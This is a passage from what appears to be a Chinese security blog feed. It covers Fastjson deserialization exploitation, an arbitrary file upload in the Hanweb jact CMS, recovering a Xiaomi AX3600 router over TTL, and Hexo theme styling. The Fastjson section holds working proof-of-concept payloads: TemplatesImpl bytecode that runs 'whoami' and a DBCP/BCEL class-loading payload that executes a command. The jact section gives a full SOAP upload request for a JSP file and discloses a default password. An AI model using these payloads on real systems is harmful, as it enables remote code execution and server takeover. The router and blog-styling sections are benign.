"\"yv66vgAAADQAXgoAGAAxCAAyBwAzCgA0ADUKADQANgoANwA4CgADADkKAAMAOgcAOwoACQAxCgAJADwHAD0KAAwAPgoACQA/CgADAEAHAEEKABAAQgcAQwoAEgAxCABECgASAEUKABAARgoAEABHBwBIAQACZXgBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAD0HAEkHADMHAEEBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcASgEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQALdGVzdEV4LmphdmEMABwAHQEAAAEAG2phdmEvaW8vQnVmZmVyZWRJbnB1dFN0cmVhbQcASwwATABNDAAgAE4HAE8MAFAAUQwAHABSDABTAFQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAVQBWAQAQamF2YS9sYW5nL1N0cmluZwwAHABXDABYAFkMAFoAHQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAFsAWQEABnRlc3RFeAEABndob2FtaQwAIAAhDAAcAFwMAF0AHQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAAJbQgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGShMamF2YS9pby9JbnB1dFN0cmVhbTtJKVYBAARyZWFkAQAHKFtCSUkpSQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAByhbQklJKVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAApnZXRNZXNzYWdlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEAEgAYAAAAAQAaABkAGgABABsAAAACAAIABgABABwAHQABAB4AAAAdAAEAAQAAAAUqtwABsQAAAAEAHwAAAAYAAQAAAAkACQAgACEAAgAeAAAA5wAGAAYAAABcEgJMERAAPh28CDoEuwADWbgABCq2AAW2AAYdtwAHOgUZBRkEAx22AAhZPQKfACO7AAlZtwAKK7YAC7sADFkZBAMctwANtgALtgAOTKf/1BkFtgAPK7BMK7YAEbAAAQAAAFUAVgAQAAIAHwAAADIADAAAABYAAwAYAAcAGQAMABoAFAAbABcAHAAgAB8ALwAgAE8AIQBUACIAVgAjAFcAJAAiAAAAOQAD/wAgAAYHACMHACMAAQcAJAcAJQAA/wAuAAYHACMHACMBAQcAJAcAJQAA/wAGAAEHACMAAQcAJgAnAAAABAABABAAAQAoACkAAQAeAAAAGQAAAAQAAAABsQAAAAEAHwAAAAYAAQAAACoAAQAoACoAAgAeAAAAGQAAAAMAAAABsQAAAAEAHwAAAAYAAQAAAC0AJwAAAAQAAQArAAkALAAtAAIAHgAAACUAAgACAAAACbsAElm3ABNMsQAAAAEAHwAAAAoAAgAAAC8ACAAwACcAAAAEAAEAEAAIAC4AHQABAB4AAABRAAMAAQAAABUSFLgAFUu7ABBZKrcAFr9LKrYAF7EAAQAAAA8ADwAQAAIAHwAAABYABQAAAA0ABgAOAA8ADwAQABAAFAASACIAAAAGAAFPBwAmAAEALwAAAAIAMA==\"\n" +
                "],\n" +
                "\"_name\": \"a\",\n" +
                "\"_tfactory\": {},\n" +
                "\"_outputProperties\": {},\n" +
                "\"_version\": \"1.0\",\n" +
                "\"allowedProtocols\": \"all\"\n" +
                "}";

        try {
            JSON.parse(payload, Feature.SupportNonPublicField);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

效果如下图：

fastjson- exception-cmd

POC示例

{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAXgoAGAAxCAAyBwAzCgA0ADUKADQANgoANwA4CgADADkKAAMAOgcAOwoACQAxCgAJADwHAD0KAAwAPgoACQA/CgADAEAHAEEKABAAQgcAQwoAEgAxCABECgASAEUKABAARgoAEABHBwBIAQACZXgBABJMamF2YS9sYW5nL1N0cmluZzsBAA1Db25zdGFudFZhbHVlAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEABGV4ZWMBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAD0HAEkHADMHAEEBAApFeGNlcHRpb25zAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcASgEABG1haW4BABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAIPGNsaW5pdD4BAApTb3VyY2VGaWxlAQALdGVzdEV4LmphdmEMABwAHQEAAAEAG2phdmEvaW8vQnVmZmVyZWRJbnB1dFN0cmVhbQcASwwATABNDAAgAE4HAE8MAFAAUQwAHABSDABTAFQBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAVQBWAQAQamF2YS9sYW5nL1N0cmluZwwAHABXDABYAFkMAFoAHQEAE2phdmEvbGFuZy9FeGNlcHRpb24MAFsAWQEABnRlc3RFeAEABndob2FtaQwAIAAhDAAcAFwMAF0AHQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBAAJbQgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGShMamF2YS9pby9JbnB1dFN0cmVhbTtJKVYBAARyZWFkAQAHKFtCSUkpSQEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAByhbQklJKVYBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAFY2xvc2UBAApnZXRNZXNzYWdlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAPcHJpbnRTdGFja1RyYWNlACEAEgAYAAAAAQAaABkAGgABABsAAAACAAIABgABABwAHQABAB4AAAAdAAEAAQAAAAUqtwABsQAAAAEAHwAAAAYAAQAAAAkACQAgACEAAgAeAAAA5wAGAAYAAABcEgJMERAAPh28CDoEuwADWbgABCq2AAW2AAYdtwAHOgUZBRkEAx22AAhZPQKfACO7AAlZtwAKK7YAC7sADFkZBAMctwANtgALtgAOTKf/1BkFtgAPK7BMK7YAEbAAAQAAAFUAVgAQAAIAHwAAADIADAAAABYAAwAYAAcAGQAMABoAFAAbABcAHAAgAB8ALwAgAE8AIQBUACIAVgAjAFcAJAAiAAAAOQAD/wAgAAYHACMHACMAAQcAJAcAJQAA/wAuAAYHACMHACMBAQcAJAcAJQAA/wAGAAEHACMAAQcAJgAnAAAABAABABAAAQAoACkAAQAeAAAAGQAAAAQAAAABsQAAAAEAHwAAAAYAAQAAACoAAQAoACoAAgAeAAAAGQAAAAMAAAABsQAAAAEAHwAAAAYAAQAAAC0AJwAAAAQAAQArAAkALAAtAAIAHgAAACUAAgACAAAACbsAElm3ABNMsQAAAAEAHwAAAAoAAgAAAC8ACAAwACcAAAAEAAEAEAAIAC4AHQABAB4AAABRAAMAAQAAABUSFLgAFUu7ABBZKrcAFr9LKrYAF7EAAQAAAA8ADwAQAAIAHwAAABYABQAAAA0ABgAOAA8ADwAQABAAFAASACIAAAAGAAFPBwAmAAEALwAAAAIAMA=="
],
"_name": "a",
"_tfactory": {},
"_outputProperties": {},
"_version": "1.0",
"allowedProtocols": "all"
}

DBCP

还有一种执行命令的方式，通过DBCP，但该方式也有一定局限性。

依赖添加

先添加dbcp依赖，在pom.xml中添加如下内容，并更新maven：

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>dbcp</artifactId>
    <version>6.0.53</version>
</dependency>

POC利用

新建poc_1类，代码如下，并执行javac poc_1.java：

import java.io.IOException;

public class poc_1 {
    static {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

修改poc类：

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;


public class poc {
    public static String class2BCEL(String classFile) throws Exception{
        Path path = Paths.get(classFile);
        byte[] bytes = Files.readAllBytes(path);
        String result = Utility.encode(bytes,true);
        System.out.println(result);
        return result;
    }

    public static void main(String[] args) {
        String classFile = "/Users/hywell/Desktop/fastjsonTest/src/main/java/poc_1.class";
        try {
            String className = "$$BCEL$$"+class2BCEL(classFile);
            String payload = "{\n" +
                    "  \"@type\" : \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
                    "  \"driverClassName\" : \""+className+"\",\n" +
                    "  \"driverClassLoader\" :\n" +
                    "  {\n" +
                    "    \"@type\":\"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;\"\n" +
                    "  }\n" +
                    "}";
            JSON.parseObject(payload);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

poc示例

{
  "@type" : "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
  "driverClassName" : "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AePMK$D1$Q$7d$e9$d7n$d7$d5$da$fa$fd$5dOV$P$$$827E$QQ$Q$ab$V$xz$944$86$S$dd$ee$86m$w$fa$8b$3c$7bQ$f1$e0$P$f0G$89$93$m$w$98$c3L$f2$e6$bd$97$99$f9$f8$7c$7b$H$b0$89$e5$A$3ej$B$c60$eec$c2$e6I$PS$B$8a$98$f60$e3a$96$a1$b4$ad$Sev$Y$f2$8d$d5$L$86$c2$5ez$z$Z$wM$95$c8$93A$af$p$b3s$de$89$J$f1$b7E$fc$cd$in$h$$n$8f$b9v$r2d$I$da$e9$m$T$f2$40Yj$a0Sq$b5$b1$7e$c3$efx$882$C$Ps$n$e6$b1$c0$d0H$b5L$eaQ$fb$a1od$_$da$d5$3aV$82$h$95$s$fdh$8f$c7b$Qs$93f$eb$5c$eb$Q$8bXb$Y$b3$k$91J$a3$c3$d6$fe$bd$90$daRC$d4$R0$U$dd$t$M$a3$8e$S$f3$a4$h$b5$3a7R$Y$86$ea$_t6H$8c$ea$d9$9e$ba$d2$fc$3c$s$g$ab$cd$7f$9c$z$g$5e$deK$c1$b0$d2$f8Sm$9bL$r$dd$ad$bf$82$d3$y$V$b2$df$tAES$d1$b8u$9cg$5cH$y$c3$a3$8d$db$93$D$b3$b3S$i$a2$d7$CeF$b9$b8$f6$C$f6D$X$86$90b$c9$81y$92$M$ffP$5bN$K$d4$5e$91$ab$e5$9fQ$b8$7c$84$7f$b4$f6$8c$d2$93$c3$cb$a4$y$S$c7$ea$t$e9f$5d$ca$O$f5$c8$c5G$95$9cF$I$f5$90kz$a8$UH4$ea$fa$a9$7e$B$8e$R$yW$X$C$A$A",
  "driverClassLoader" :
  {
    "@type":"Lcom.sun.org.apache.bcel.internal.util.ClassLoader;"
  }
}

总结

FastJson的漏洞利用，基本只能止步于DNSLOG的方式。或许偶尔能遇到DBCP、JNDI的利用方式，TemplatesImpl方式基本别想了。

TemplatesImpl的利用要求苛刻需要解析的时候设置Feature.SupportNonPublicField
DBCP的利用需要依赖对应的包，如org.apache.commons.dbcp.BasicDataSource或org.apache.tomcat.dbcp.dbcp.BasicDataSource，其中org.apache.tomcat.dbcp.dbcp.BasicDataSource为tomcat自带，但是执行json解析的代码需要为JSON.parseObject，如果为JSON.parse则无法利用

]]> 安全漏洞分析漏洞分析 fastjson 大汉CMS-jact任意文件上传 /archives/ae1f095f.html 在护网的时候，许多目标都用大汉jact这套系统。根据“小道消息”说是有最新的任意文件上传！ hanweb-decode

漏洞分析

这个问题在2014年5月12号的时候在乌云上提交过，8月10号公开出来的。根据乌云描述(jact的该操作又有所不同，区别还是在用户验证上，jact中最后查询用户名密码的时候是用hibernate预处理，目测不能绕过，只有提供正确用户名密码才能上传。)来看关键是需要正确的用户密码。而最近这个说的任意文件上传关键点在于系统内置的默认用户。如果手头上有大汉老版本的，可以查看对应用户表即可成功利用该漏洞

jact/services/wsinfo

POST /jsearch/webservice/wsInfo HTTP/1.0
Content-Type: multipart/related; type="text/xml"; start="<CB69CE057274B576D4C44A9112AE8DE8>"; 	boundary="----=_Part_0_9532399.1399678337692"
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.2
Host: target.com
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: ""
Content-Length: 1084
------=_Part_0_9532399.1399678337692
Content-Type: text/xml; charset=UTF-8
Content-Transfer-Encoding: binary
Content-Id: <CB69CE057274B576D4C44A9112AE8DE8>

<?xml version="1.0" encoding="UTF-8"?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<soapenv:Body>
<ns1:receivefile soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:ns1="http://target.com/jsearch/webservice/wsInfo">
<strLoginId xsi:type="xsd:string"></strLoginId>
<strPwd xsi:type="xsd:string"></strPwd>
<strKey xsi:type="xsd:string"></strKey>
<handler href="cid:1AA0D9D06D1918F13C495E8419BE26EB" xsi:type="ns2:DataHandler" xmlns:ns2="ns:FileUploadHandler"/>
<fileName xsi:type="xsd:string">test.jsp</fileName>
<iState xsi:type="xsd:int">0</iState>
</ns1:receivefile>
</soapenv:Body>
</soapenv:Envelope>

------=_Part_0_9532399.1399678337692
Content-Type: text/plain
Content-Transfer-Encoding: binary
Content-Id: <1AA0D9D06D1918F13C495E8419BE26EB>

<%="hello world!"%>
------=_Part_0_9532399.1399678337692--

上传成功之后，具体落地路径为：jact/main/jact/commonuser/transact/temp/Data/test.jsp其中Data为当前年月，例如：20XXXX

解密

默认存在某个用户，密码为hanweb。

hanweb-decode

]]> 安全漏洞分析漏洞分析小米AX3600 TTL刷机 /archives/ed29cee2.html 心血来潮把ax3600刷成openwrt 5.15内核，然后直接通过web界面（没清配置）降级到5.10，导致直接刷成砖。后面通过ttl成功救回来。

AX3600-黄灯

拆机

把底部螺丝都拆下来之后，把卡扣翘起来就可以了。卡扣有点紧，要小心。

AX3600-拆机

由于板子没有预留插座，需要自己焊一个插座上去。这时候就需要把天线、主板螺丝都卸下来。建议拍照，以免忘记如何布局。

AX3600-主版

焊完插座，接上TTL就可以接着操作了。Ps：TTL接的时候需要RX-TX、TX—RX。

AX3600-TTL

刷机

修改速率为115200，通过xshell、putty等任意工具连接

AX3600-115200

Xshell连接之后，先不要接路由器，修改网卡速率为100M全双工，之后修改本地ip地址为192.168.31.100。最后接上网线（主机-路由器lan口）

AX3600-100m

现在重启路由器，等黄灯亮起来1s左右，接上杜邦线。Ps：如果先接上线，再重启路由器会导致路由器无法正常启动。

由于AX3600是双分区，我刷机的时候是将openwrt刷到rootfs_1分区。为了避免问题，把rootfs、rootfs_1两个分区都擦除。TTL命令如下

setenv serverip 192.168.31.100
setenv ipaddr 192.168.31.1
tftpboot xx.ubi // 对应的ubi文件
smeminfo  #查看mtd12（roofs）和roofs1地址

nand erase 0xa00000  0x23c0000 # 擦除rootfs分区
nand erase 0x2dc0000 0x8000000 #擦除rootfs_1和后面所有数据
nand write 0x44000000 0x2dc0000 0x1ac0000 #将44000000数据写入2dc0000 写入数据大小为1ac0000 需根据ubi文件大小进行写入

AX3600-UBOOT

最后断电重启即可成功恢复，记得把ttl线拔下来。

]]> 瞎折腾 IOT 路由器 Blog美化 /archives/11804e57.html 本篇文章记录nexT主题的美化工作。
效果图呈现：
博客首页效果.png

前言

通过Blog更新&配置文件详解的内容基本能满足大部分的需求，如果想要逼格高一点、深度优化，可以对里面的一些文件（swig、js等）进行新增、修改等。

美化

点击特效

点击特效可通过JS来实现，大家可以选择自己喜欢的特效，调用JS即可。我选择的是点击桃心特效，js源码如下：

(function(window,document,undefined){
  var hearts = [];
  window.requestAnimationFrame = (function(){
    return window.requestAnimationFrame ||
      window.webkitRequestAnimationFrame ||
      window.mozRequestAnimationFrame ||
      window.oRequestAnimationFrame ||
      window.msRequestAnimationFrame ||
      function (callback){
        setTimeout(callback,1000/60);
      }
  })();
  init();
  function init(){
    css(".heart{width: 10px;height: 10px;position: fixed;background: #f00;transform: rotate(45deg);-webkit-transform: rotate(45deg);-moz-transform: rotate(45deg);}.heart:after,.heart:before{content: '';width: inherit;height: inherit;background: inherit;border-radius: 50%;-webkit-border-radius: 50%;-moz-border-radius: 50%;position: absolute;}.heart:after{top: -5px;}.heart:before{left: -5px;}");
    attachEvent();
    gameloop();
  }
  function gameloop(){
    for(var i=0;i<hearts.length;i++){
      if(hearts[i].alpha <=0){
        document.body.removeChild(hearts[i].el);
        hearts.splice(i,1);
        continue;
      }
      hearts[i].y--;
      hearts[i].scale += 0.004;
      hearts[i].alpha -= 0.013;
      hearts[i].el.style.cssText = "left:"+hearts[i].x+"px;top:"+hearts[i].y+"px;opacity:"+hearts[i].alpha+";transform:scale("+hearts[i].scale+","+hearts[i].scale+") rotate(45deg);background:"+hearts[i].color;
    }
    requestAnimationFrame(gameloop);
  }
  function attachEvent(){
    var old = typeof window.onclick==="function" && window.onclick;
    window.onclick = function(event){
      old && old();
      createHeart(event);
    }
  }
  function createHeart(event){
    var d = document.createElement("div");
    d.className = "heart";
    hearts.push({
      el : d,
      x : event.clientX - 5,
      y : event.clientY - 5,
      scale : 1,
      alpha : 1,
      color : randomColor()
    });
    document.body.appendChild(d);
  }
  function css(css){
    var style = document.createElement("style");
    style.type="text/css";
    try{
      style.appendChild(document.createTextNode(css));
    }catch(ex){
      style.styleSheet.cssText = css;
    }
    document.getElementsByTagName('head')[0].appendChild(style);
  }
  function randomColor(){
    return "rgb("+(~~(Math.random()*255))+","+(~~(Math.random()*255))+","+(~~(Math.random()*255))+")";
  }
})(window,document);

将上面源码存放为click.js文件内，将click.js文件放在/hexo/themes/next/source/js/src\路径下。
打开 /hexo/themes/next/layout/_layout.swig 文件，在head标签内最后位置添加以下代码：

<script type="text/javascript" src="/js/src/click.js"></script>

修改文章内链接文本样式

修改文件/themes/next/source/css/_common/components/post/post.styl，在末尾添加如下css样式：

.post-body p a{
  color: #0593d3;
  border-bottom: none;
  border-bottom: 1px solid #0593d3;
  &:hover {
    color: #fc6423;
    border-bottom: none;
    border-bottom: 1px solid #fc6423;
  }
}

文章底部标签样式

修改模板/hexo/themes/next/layout/_macro/post.swig，搜索 rel=”tag”>#，将 # 换成或者可以从这里自己挑。

<a href="{{ url_for(tag.path) }}" rel="tag"><i class="fa fa-tag"></i>{{ tag.name }}</a>

文章末尾添加结束标记

在路径/hexo/themes/next/layout/_macro/中新建 passage-end-tag.swig 文件,并添加以下内容：

<div>
    {% if not is_index %}
        <div style="text-align:center;color: #ccc;font-size:14px;">-------------本文结束<i class="fa fa-heart-o" aria-hidden="true"></i>感谢您的阅读-------------</div>
    {% endif %}
</div>

接着打开/hexo/themes/next/layout/_macro/post.swig文件，post-footer之前添加如下代码（post-footer之前两个DIV）：

<div>
      {% if not is_index %}
        {% include 'passage-end-tag.swig' %}
      {% endif %}
    </div>

    {% if (theme.alipay or theme.wechatpay or theme.bitcoin) and not is_index %}
      <div>
        {% include 'reward.swig' %}
      </div>
    {% endif %}

    {% if theme.post_copyright.enable and not is_index %}
      <div>
        {% include 'post-copyright.swig' with { post: post } %}
      </div>
    {% endif %}

    <footer class="post-footer">

打开主题配置文件/hexo/themes/next/_config.yml,在末尾添加：

# 文章末尾添加结束标记
passage_end_tag:
  enabled: true

侧边栏作者头像修改

把侧边栏头像变成圆形，并且鼠标停留在上面发生旋转效果，修改/hexo/themes/next/source/css/_common/components/sidebar/sidebar-author.styl:

.site-author-image {
  display: block;
  margin: 0 auto;
  padding: $site-author-image-padding;
  max-width: $site-author-image-width;
  height: $site-author-image-height;
  border: $site-author-image-border-width solid $site-author-image-border-color;

  /* 头像圆形 */
  border-radius: 80px;
  -webkit-border-radius: 80px;
  -moz-border-radius: 80px;
  box-shadow: inset 0 -1px 0 #333sf;

  /* 设置循环动画 [animation: (play)动画名称 (2s)动画播放时长单位秒或微秒 (ase-out)动画播放的速度曲线为以低速结束 
    (1s)等待1秒然后开始动画 (1)动画播放次数(infinite为循环播放) ]*/
  -webkit-animation: play 2s ease-out 1s 1;
  -moz-animation: play 2s ease-out 1s 1;
  animation: play 2s ease-out 1s 1;

  /* 鼠标经过头像旋转360度 */
  -webkit-transition: -webkit-transform 1.5s ease-out;
  -moz-transition: -moz-transform 1.5s ease-out;
  transition: transform 1.5s ease-out;
}

img:hover {
  /* 鼠标经过停止头像旋转 
  -webkit-animation-play-state:paused;
  animation-play-state:paused;*/
  /* 鼠标经过头像旋转360度 */
  -webkit-transform: rotateZ(360deg);
  -moz-transform: rotateZ(360deg);
  transform: rotateZ(360deg);
}
/* Z 轴旋转动画 */
@-webkit-keyframes play {
  0% {
    -webkit-transform: rotateZ(0deg);
  }
  100% {
    -webkit-transform: rotateZ(-360deg);
  }
}
@-moz-keyframes play {
  0% {
    -moz-transform: rotateZ(0deg);
  }
  100% {
    -moz-transform: rotateZ(-360deg);
  }
}
@keyframes play {
  0% {
    transform: rotateZ(0deg);
  }
  100% {
    transform: rotateZ(-360deg);
  }
}

.site-author-name {
  margin: $site-author-name-margin;
  text-align: $site-author-name-align;
  color: $site-author-name-color;
  font-weight: $site-author-name-weight;
}

.site-description {
  margin-top: $site-description-margin-top;
  text-align: $site-description-align;
  font-size: $site-description-font-size;
  color: $site-description-color;
}

背景&透明度美化

背景图片

在/hexo/themes/next/source/css/_custom文件夹下打开custom.styl文件，往里面添加以下代码：

body{   
        background:url(图片链接);
        background-size:cover;
        background-repeat:no-repeat;
        background-attachment:fixed;
        background-position:center;
     }

文字背景色设置

在/hexo/themes/next/source/css/_custom文件夹下打开custom.styl文件，往里面添加以下代码：

.content {
            border-radius: 10px;
            margin-top: 60px;
            background:rgba(颜色rgb,透明度) none repeat scroll !important;
         }

代码块美化

这块工作让我头痛了很久！！！
代码块透明度设置，在/hexo/themes/next/source/css/_custom文件夹下打开custom.styl文件，往里面添加以下代码:

// 单行代码块设置
code {
  background:rgba(241,241,241,0.3);
  margin: 2px;
}
// 多行代码块的自定义样式
.highlight{
  background:rgba(241,241,241,0.3);
}
.highlight, pre {
  margin: 5px 0;
  padding: 5px;
  border-radius: 3px;
  background:rgba(241,241,241,0.3);
}
.highlight, td{
  background:rgba(241,241,241,0.1)
}
.highlight, gutter pre{
  background:rgba(241,241,241,0.1)
}
.highlight, code, pre {
    border: 1px solid #d6d6d6;
    background:rgba(241,241,241,0.3)
}
table>tbody>tr:nth-of-type(odd){
  background:rgba(241,241,241,0.1)
}

注释/hexo/themes/next/source/css/_components/highlight/highlight.styl文件第81、88行：

// background-color: $highlight-gutter.bg-color

这一块修改学习到了一个小技巧，通过chrome的F12→Elements→Styles进行一层层修改测试，快速找到需要修改的地方。Ps：这里要谢谢我的同事-C！
chrome F12.jpg

播放器

安装APlayer插件

安装Aplayer播放器，在/hexo目录执行npm install aplayer --save。
安装完后在node_modules目录下找到APlayer.min.js文件，将其复制到theme/next/source/js/src/目录下。
在你想要加入音乐播放器的地方插入以下代码，这里我把它放到了侧边栏。
打开theme/next/layout/_custom/文件夹下的sidebar.swig文件，向其中添加以下代码：

<div id="player1" class="aplayer" data-id="2058781355" data-server="netease" data-type="playlist" data-mode="circulation"></div>
<script src="/js/src/APlayer.min.js"></script>
<script type="text/javascript">
var ap = new APlayer({
    element: document.getElementById('player1'),                       // Optional, player element
    narrow: false,                                                     // Optional, narrow style
    autoplay: true,                                                    // Optional, autoplay song(s), not supported by mobile browsers
    showlrc: 3,                                                        // Optional, show lrc, can be 0, 1, 2, see: ###With lrc
    mutex: true,                                                       // Optional, pause other players when this player playing
    theme: '#e6d0b2',                                                  // Optional, theme color, default: #b7daff
    mode: 'circulation',                                               // Optional, play mode, can be `random` `single` `circulation`(loop) `order`(no loop), default: `circulation`
    preload: 'metadata',                                               // Optional, the way to load music, can be 'none' 'metadata' 'auto', default: 'auto'
    listmaxheight: '513px',                                            // Optional, max height of play list
    music: [
        {
            title: '化身孤岛的鲸',                                          // Required, music title
            author: '不才',                                                // Required, music author
            url: '/music/不才 - 化身孤岛的鲸.mp3',                          // Required, music url
            pic: '/music/不才 - 化身孤岛的鲸.jpg',                          // Optional, music picture
            lrc: '/music/不才 - 化身孤岛的鲸.lrc'                           // Optional, lrc, see: ###With lrc
        },
        {
            title: '我的一个道姑朋友',                                      // Required, music title
            author: '以冬',                                               // Required, music author
            url: '/music/以冬 - 我的一个道姑朋友.mp3',                     // Required, music url
            pic: '/music/以冬 - 我的一个道姑朋友.jpg',                    // Optional, music picture
            lrc: '/music/以冬 - 我的一个道姑朋友.lrc'                    // Optional, lrc, see: ###With lrc
        },
        {
            title: '七月上',                                          // Required, music title
            author: 'Jam',                                           // Required, music author
            url: '/music/Jam - 七月上.mp3',                          // Required, music url
            pic: '/music/Jam - 七月上.jpg',                         // Optional, music picture
            lrc: '/music/Jam - 七月上.lrc'                         // Optional, lrc, see: ###With lrc
        }
    ]
});
</script>

自定义播放器样式

包含颜色更改，列表歌曲信息的排版修改。
在/hexo/theme/next/source/css/_custom文件夹下打开custom.styl文件，往里面添加以下代码：

// 播放器设置
.aplayer-list{
    height: 100px !important;
}
.aplayer-list ol li:hover {   /*列表悬停颜色*/
                  background:rgba(255,255,255,0.3) none repeat scroll !important;}
.aplayer-list ol li {   /*列表底色*/
                        background:rgba(250,252,123,0.3);}
.aplayer-list-light {   /*列表播放歌曲颜色*/
                      background:rgba(97,217,101,0.3) none repeat scroll !important;}

#player1 {    /*边框样式*/
          border-radius: 6px;
          div,ol {border-radius: 6px;}
        }
#player1 *{color: #696969;}    /*字体颜色*/
/*列表歌曲信息的排版*/
.aplayer-list-index{float:left;}
.aplayer-list-title{float:left;}
.aplayer-list-author{float:right;}

音乐播放控制边栏

将APlayer-Controler放入/hexo/themes/next/source/js/src/目录下。
在/hexo/themes/next/layout/_custom/文件夹下新建一个myapcontroler.swig的文件。向其中添加以下代码：

<script src="/js/src/APlayer-Controler.js"></script>
<div id="AP-controler"></div>
<script type="text/javascript">
var myapc=new APlayer_Controler({
		APC_dom:$('#AP-controler'),
		aplayer:ap, //此为绑定的aplayer对象
		attach_right:true,
		position:{top:'300px',bottom:''},
		fixed:true,
		btn_width:100,
		btn_height:120,
		img_src:['http://oty1v077k.bkt.clouddn.com/bukagirl.jpg',
				'http://oty1v077k.bkt.clouddn.com/jumpgirl.jpg',
				'http://oty1v077k.bkt.clouddn.com/pentigirl.jpg',
				'http://oty1v077k.bkt.clouddn.com/%E8%90%8C1.gif'],
		img_style:{repeat:'no-repeat',position:'center',size:'contain'},
		ctrls_color:'rgba(173,255,47,0.8)',
		ctrls_hover_color:'rgba(255,140,0,0.7)',
		tips_on:true,
		tips_width:140,
		tips_height:25,
		tips_color:'rgba(255,255,255,0.6)',
		tips_content:{},
		timeout:30
	});
</script>

